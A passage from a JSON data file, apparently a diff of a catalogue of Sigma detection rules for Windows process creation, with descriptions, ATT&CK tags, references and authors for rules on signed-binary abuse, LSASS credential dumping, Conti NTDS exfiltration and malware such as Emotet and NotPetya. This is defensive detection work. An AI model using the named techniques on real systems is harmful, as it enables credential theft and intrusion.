"level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", - "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", - "value": "Sideloading Link.EXE", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1560732860935729152", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/22", - "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", - "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", - "value": "Suspicious Sigverif Execution", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", - "https://twitter.com/0gtweet/status/1457676633809330184", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_sigverif.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", - "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", - "value": "Use of Squirrel.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/06/09", - "filename": "proc_creation_win_lolbin_squirrel.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", - "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", - "value": "Suspicious LOLBIN AccCheckConsole", - "meta": { - "refs": [ - "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", - "https://twitter.com/bohops/status/1477717351017680899?s=12", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/01/06", - "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of the UI Accessibility Checker" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Atbroker executing non-deafualt Assistive Technology applications", - "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", - "value": "Suspicious Atbroker Execution", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_lolbin_susp_atbroker.yml", - "author": "Mateusz Wydra, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate, non-default assistive technology applications execution" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", - "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", - "value": "Suspicious Certreq Command to Download", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2021/11/24", - "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", - "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", - "value": "Suspicious Driver Install by pnputil.exe", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", - "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ], - "creation_date": "2021/09/30", - "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", - "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Pnputil.exe being used may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of of Dxcap.exe", - "uuid": "60f16a96-db70-42eb-8f76-16763e333590", - "value": "Application Whitelisting Bypass via Dxcap.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", - "https://twitter.com/harr0ey/status/992008180904419328", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_lolbin_susp_dxcap.yml", - "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", - "level": "medium", - "falsepositive": [ - "Legitimate execution of dxcap.exe by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", - "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", - "value": "Suspicious GrpConv Execution", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1526833181831200770", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ], - "creation_date": "2022/05/19", - "filename": "proc_creation_win_lolbin_susp_grpconv.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect the use of Windows Defender to download payloads", - "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", - "value": "Windows Defender Download Activity", - "meta": { - "refs": [ - "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", - "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/09/04", - "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", - "author": "Matthew Matchen", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process dump via legitimate sqldumper.exe binary", - "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", - "value": "Dumping Process via Sqldumper.exe", - "meta": { - "refs": [ - "https://twitter.com/countuponsec/status/910977826853068800", - "https://twitter.com/countuponsec/status/910969424215232518", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", - "author": "Kirill Kiryanov, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate MSSQL Server actions" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", - "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", - "value": "WSL Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", - "https://twitter.com/nas_bench/status/1535431474429808642", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_lolbin_susp_wsl.yml", - "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Automation and orchestration scripts may use this method execute scripts etc", - "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", - "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", - "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/12", - "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "App-V clients" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", - "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", - "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1216" - ], - "creation_date": "2021/07/16", - "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", - "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", - "value": "Use of TTDInject.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/05/16", - "filename": "proc_creation_win_lolbin_ttdinject.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", - "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", - "value": "Time Travel Debugging Utility Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", - "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1218", - "attack.t1003.001" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", - "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", - "level": "high", - "falsepositive": [ - "Legitimate usage by software developers/testers" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", - "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", - "value": "UtilityFunctions.ps1 Proxy Dll", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/05/28", - "filename": "proc_creation_win_lolbin_utilityfunctions.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", - "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", - "value": "Use of VisualUiaVerifyNative.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", - "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/06/01", - "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Legitimate testing of Microsoft UI parts." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", - "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", - "value": "Visual Basic Command Line Compiler Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Vbc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", - "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", - "level": "high", - "falsepositive": [ - "Utilization of this tool should not be seen in enterprise environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", - "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", - "value": "Use of VSIISExeLauncher.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/06/09", - "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", - "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", - "value": "Use of Wfc.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/06/01", - "filename": "proc_creation_win_lolbin_wfc.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Legitimate use by a software developer" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", - "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", - "value": "Winword LOLBIN Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", - "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/05/17", - "filename": "proc_creation_win_lolbin_winword.yml", - "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", - "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", - "value": "Wlrmdr Lolbin Use as Launcher", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/02/16", - "filename": "proc_creation_win_lolbin_wlrmdr.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Too long PowerShell command lines", - "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", - "value": "Too Long PowerShell Commandlines", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_win_long_powershell_commandline.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", - "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", - "value": "LSASS Memory Dumping", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", - "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_lsass_dump.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", - "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", - "value": "Suspicious PowerShell Mailbox Export to Share", - "meta": { - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" - ], - "tags": [ - "attack.exfiltration" - ], - "creation_date": "2021/08/07", - "filename": "proc_creation_win_mailboxexport_share.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command used by conti to find volume shadow backups", - "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", - "value": "Conti Volume Shadow Listing", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ], - "creation_date": "2021/08/09", - "filename": "proc_creation_win_malware_conti.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command used by conti to exfiltrate NTDS", - "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", - "value": "Conti NTDS Exfiltration Command", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560" - ], - "creation_date": "2021/08/09", - "filename": "proc_creation_win_malware_conti_7zip.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command that accesses password storing registry hives via volume shadow backups", - "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", - "value": "Sensitive Registry Access via Volume Shadow Copy", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/08/09", - "filename": "proc_creation_win_malware_conti_shadowcopy.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "high", - "falsepositive": [ - "Some rare backup scenarios" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects typical Dridex process patterns", - "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", - "value": "Dridex Process Pattern", - "meta": { - "refs": [ - "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055", - "attack.discovery", - "attack.t1135", - "attack.t1033" - ], - "creation_date": "2019/01/10", - "filename": "proc_creation_win_malware_dridex.yml", - "author": "Florian Roth, oscd.community", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process parameters as seen in DTRACK infections", - "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", - "value": "DTRACK Process Creation", - "meta": { - "refs": [ - "https://securelist.com/my-name-is-dtrack/93338/", - "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", - "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2019/10/30", - "filename": "proc_creation_win_malware_dtrack.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects all Emotet like process executions that are not covered by the more generic rules", - "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", - "value": "Emotet Process Creation", - "meta": { - "refs": [ - "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", - "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", - "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", - "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2019/09/30", - "filename": "proc_creation_win_malware_emotet.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", - "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", - "value": "Formbook Process Creation", - "meta": { - "refs": [ - "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", - "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", - "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", - "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2019/09/30", - "filename": "proc_creation_win_malware_formbook.yml", - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", - "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", - "value": "NotPetya Ransomware Activity", - "meta": { - "refs": [ - "https://securelist.com/schroedingers-petya/78870/", - "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.t1070.001", - "attack.credential_access", - "attack.t1003.001", - "car.2016-04-002" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_malware_notpetya.yml", - "author": "Florian Roth, Tom Ueltschi", - "level": "critical", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects QBot like process executions", - "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", - "value": "QBot Process Creation", - "meta": { - "refs": [ - "https://twitter.com/killamjr/status/1179034907932315648", - "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" - ], - "tags": [ - "attack.execution", - 